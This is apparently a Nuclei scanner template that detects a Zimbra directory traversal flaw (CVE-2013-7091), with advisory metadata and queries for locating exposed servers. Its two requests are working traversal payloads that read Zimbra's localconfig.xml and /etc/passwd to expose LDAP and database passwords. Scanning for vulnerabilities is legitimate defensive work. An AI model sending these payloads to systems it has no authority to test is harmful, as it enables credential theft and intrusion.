Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion

id: CVE-2013-7091

info:
  name: Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion
  author: rubina119
  severity: medium
  description: A directory traversal vulnerability in /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz in Zimbra 7.2.2 and 8.0.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the skin parameter. This can be leveraged to execute arbitrary code by obtaining LDAP credentials and accessing the service/admin/soap API.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of Zimbra Collaboration Server to mitigate the LFI vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-7091
    - https://www.exploit-db.com/exploits/30085
    - https://www.exploit-db.com/exploits/30472
    - http://www.exploit-db.com/exploits/30085
    - http://packetstormsecurity.com/files/124321
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2013-7091
    cwe-id: CWE-22
    epss-score: 0.97337
    epss-percentile: 0.99881
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: synacor
    product: zimbra_collaboration_suite
    shodan-query:
      - http.title:"zimbra collaboration suite"
      - http.title:"zimbra web client sign in"
    fofa-query:
      - title="zimbra web client sign in"
      - title="zimbra collaboration suite"
    google-query:
      - intitle:"zimbra collaboration suite"
      - intitle:"zimbra web client sign in"
  tags: cve2013,cve,packetstorm,zimbra,lfi,edb,synacor

http:
  - method: GET
    path:
      - "{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
      - "{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "zimbra_server_hostname"
          - "zimbra_ldap_userdn"
          - "zimbra_ldap_password"
          - "ldap_postfix_password"
          - "ldap_amavis_password"
          - "ldap_nginx_password"
          - "mysql_root_password"
        condition: or

      - type: regex
        regex:
          - "root=.*:0:0"
# digest: 4a0a0047304502201b7a6938b4ba249a10fc7db131b554a3a5d026eea84f0c017f906046552a884c022100d7fc5da079a0e863422c5d15ac03bc2118e7a68415cc1181fa9d1b87ca1da794:922c64590222798bb761d5b6d8e72950